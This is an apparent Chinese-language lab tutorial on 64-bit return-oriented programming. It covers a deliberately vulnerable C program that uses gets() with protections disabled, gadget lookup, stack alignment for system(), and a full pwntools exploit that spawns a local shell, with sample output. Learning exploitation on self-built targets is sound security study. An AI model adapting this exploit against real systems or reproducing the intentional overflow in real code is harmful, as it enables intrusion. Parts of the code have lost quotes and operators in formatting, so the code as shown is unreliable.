64位ROP链实战 —— 从栈对齐到system调用

张开发
2026/5/5 4:31:52 15 分钟阅读
64位ROP链实战 —— 从栈对齐到system调用
一、前言在NXNo-eXecute保护开启的现代二进制程序中传统的 Shellcode 注入已无法使用。本文通过一个精心设计的案例详细讲解如何构造ROP返回导向编程链来调用 system(/bin/sh)并重点解决 64位栈对齐这一常见坑点。本文目标在无后门函数、无 pop rdi gadget 的环境下手动构造完整 ROP 链获取 Shell。二、实验环境2.1 系统与工具OS: Ubuntu 20.04/22.04 LTS (x86_64)编译器: GCC 9.4.0工具: Python3, pwntools, ROPgadget, checksec安装必要工具sudo apt install gcc gdb python3-pippip3 install pwntools2.2 保护机制说明| 保护 | 状态 | 影响 ||------|------|------|| NX | Enabled | 栈不可执行无法直接注入 Shellcode || PIE | Disabled | 程序基址固定0x400000可直接硬编码地址 || Canary | Disabled | 无栈溢出保护可自由覆盖 RIP || RELRO*| Partial | GOT 表可写本文不涉及 |三、漏洞程序源码vuln3_fixed.c3.1 源码分析#include stdio.h#include string.h#include stdlib.h// 全局变量存放命令字符串位于 .data 段固定地址char binsh[] /bin/sh;// 辅助函数强制生成 systemplt 条目void init() {system(init); // 确保 PLT 表中有 system 项}// 关键强制编译器生成 pop rdi; ret gadget// __attribute__((naked)) 表示无函数序言/尾声纯汇编void __attribute__((naked)) gadget() {__asm__ __volatile__(pop %rdi\n\t // 弹出栈顶到 RDI 寄存器ret\n\t // 返回);}void vulnerable() {char buffer[64]; // 栈缓冲区puts(Input:);gets(buffer); // 危险函数无边界检查栈溢出点}int main() {vulnerable();return 0;}3.2 关键设计说明1. /bin/sh 全局变量位于 .data 段地址固定作为 system() 的参数2. init() 函数必须调用一次 system否则编译器不会生成 systemplt3. gadget() 函数使用 naked 属性和内联汇编强制生成 pop rdi; ret 指令现代 GCC 默认优化会消除此 gadget3.3 编译命令gcc -fno-stack-protector -no-pie -O0 -g -o vuln3_fixed vuln3_fixed.c参数说明-fno-stack-protector关闭 Canary-no-pie关闭地址随机化-O0关闭优化保留代码逻辑四、信息收集与 Gadget 查找4.1 检查保护checksec ./vuln3_fixed预期输出[*] /path/to/vuln3_fixedArch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabled -- 关键栈不可执行PIE: No PIE (0x400000) -- 基址固定4.2 获取关键地址# 1. 查找 pop rdi; retROPgadget --binary vuln3_fixed | grep pop rdi# 输出0x0000000000401194 : pop rdi ; ret# 2. 获取 /bin/sh 地址nm vuln3_fixed | grep binsh# 输出0000000000404028 D binsh# 3. 获取 systemplt 地址objdump -d vuln3_fixed | grep system# 或python3 -c from pwn import *; print(hex(ELF(./vuln3_fixed).plt[system]))# 输出0x401074地址汇总pop rdi; ret: 0x401194/bin/sh: 0x404028systemplt: 0x401074ret (对齐用): 0x40101a (通过 ROPgadget --binary vuln3_fixed | grep ^0x.*: ret$ 获取)五、ROP 链构造详解5.1 64位调用约定与栈对齐x86_64 System V AMD64 ABI 规定- 第1参数通过 RDI寄存器传递- 函数调用前 RSP 8 必须是 16 字节对齐即 RSP 末位必须是 0x8而非 0x0问题system() 内部使用 SSE 指令 movaps要求内存地址 16 字节对齐。若未对齐会触发 SIGSEGV (段错误)。解决方案在调用 system 前插入一个 ret gadget调整 RSP 8 字节完成对齐。5.2 栈布局设计高地址┌─────────────────────────┐│ systemplt (0x401074) │ ← 最终调用├─────────────────────────┤│ /bin/sh (0x404028) │ ← pop rdi 的参数├─────────────────────────┤│ pop rdi; ret │ ← 设置 RDI 寄存器│ (0x401194) │├─────────────────────────┤│ ret (0x40101a) │ ← 栈对齐关键├─────────────────────────┤│ A * 72 │ ← 填充 buffer saved_rbp└─────────────────────────┘低地址执行流程1. vulnerable 返回 → 执行 ret (0x40101a)- ret 从栈弹出 pop rdi 地址同时 RSP 8完成对齐2. 执行 pop rdi; ret- 从栈弹出 0x404028 → RDI /bin/sh- 返回地址为 systemplt3. 执行 systemplt- 参数 RDI 指向 /bin/sh → 成功调用 /bin/sh六、完整利用脚本#!/usr/bin/env python3# exploit_vuln3_fixed.py# 针对 64位 NX保护程序的 ROP 利用from pwn import *context.arch amd64context.log_level info# 加载目标程序elf ELF(./vuln3_fixed)# 关键地址配置 OFFSET 72 # 填充长度64字节 buffer 8字节 saved_rbpRET 0x40101a # ret gadget用于栈对齐16字节对齐修复POP_RDI 0x401194 # pop rdi ; ret参数设置BIN_SH 0x404028 # /bin/sh 字符串地址.data段SYSTEM_PLT 0x401074 # systemplt 地址print(f[*] 目标程序: {elf.path})print(f[] pop_rdi gadget: {hex(POP_RDI)})print(f[] /bin/sh 地址: {hex(BIN_SH)})print(f[] systemplt: {hex(SYSTEM_PLT)})print(f[] ret gadget: {hex(RET)})# ROP 链构造 # 关键在 pop_rdi 前插入 ret 修复栈对齐payload bA * OFFSET # 填充到 RIP 位置payload p64(RET) # 关键先执行 ret修复 RSP 对齐payload p64(POP_RDI) # 然后执行 pop rdipayload p64(BIN_SH) # 弹出到 RDI 的值/bin/shpayload p64(SYSTEM_PLT) # 调用 system(/bin/sh)print(f[] Payload 长度: {len(payload)} bytes)# 执行攻击 p process(./vuln3_fixed)p.sendline(payload)# 切换交互模式获取 shellp.interactive()6.1 运行结果$ python3 exploit_vuln3_fixed.py[*] /home/user/vuln3_fixedArch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)[] pop_rdi gadget: 0x401194[] /bin/sh 地址: 0x404028[] systemplt: 0x401074[] ret gadget: 0x40101a[] Payload 长度: 104 bytes[] Starting local process ./vuln3_fixed: pid 9899[*] Switching to interactive modeInput:$ lsexploit_vuln3_fixed.py vuln3_fixed vuln3_fixed.c$ whoamiuser$成功标志出现 $ 提示符可执行任意命令。七、常见问题与排查7.1 问题一找不到 pop rdi gadget现象ROPgadget --binary vuln3_fixed | grep pop rdi 无输出原因现代 GCC 默认使用 -fomit-frame-pointer 优化消除了 pop rdi 指令解决使用 __attribute__((naked)) 强制内联汇编生成见源码 gadget() 函数7.2 问题二崩溃在 system 内部SIGSEGV现象Process stopped with exit code -11 (SIGSEGV)原因进入 system 时 RSP 未 16 字节对齐触发 movaps 指令段错误解决在 pop_rdi 前插入一个 ret gadget见 payload 构造7.3 问题三Offset 计算错误验证方法from pwn import *p process(./vuln3_fixed)p.sendline(cyclic(200))p.wait()# 查看 dmesg 或 gdb 确认崩溃地址# 然后计算cyclic_find(崩溃地址)八、技术总结8.1 与 ret2win 的对比| 特性 | ret2win (简单) | ROP 链 (本文) ||------|----------------|---------------|| 目标函数 | 程序自带 win() | libc system() || 参数传递 | 无需参数 | 手动设置 RDI || 所需 Gadget | 仅需 ret | 需要 pop rdi; ret ret || 适用场景 | 有后门函数 | 通用无后门 |8.2 64位 ROP 核心要点1. 参数寄存器RDI, RSI, RDX, RCX, R8, R9第1-6参数2. 栈对齐调用函数前 RSP 必须 16 字节对齐否则 movaps 崩溃3. Gadget 生成现代编译器优化可能消除常用 gadget需用内联汇编强制保留九、参考与扩展- 工具pwntools, ROPgadget, checksec- 文档System V AMD64 ABI 调用约定版权声明本文为技术学习笔记仅供安全研究使用。

更多文章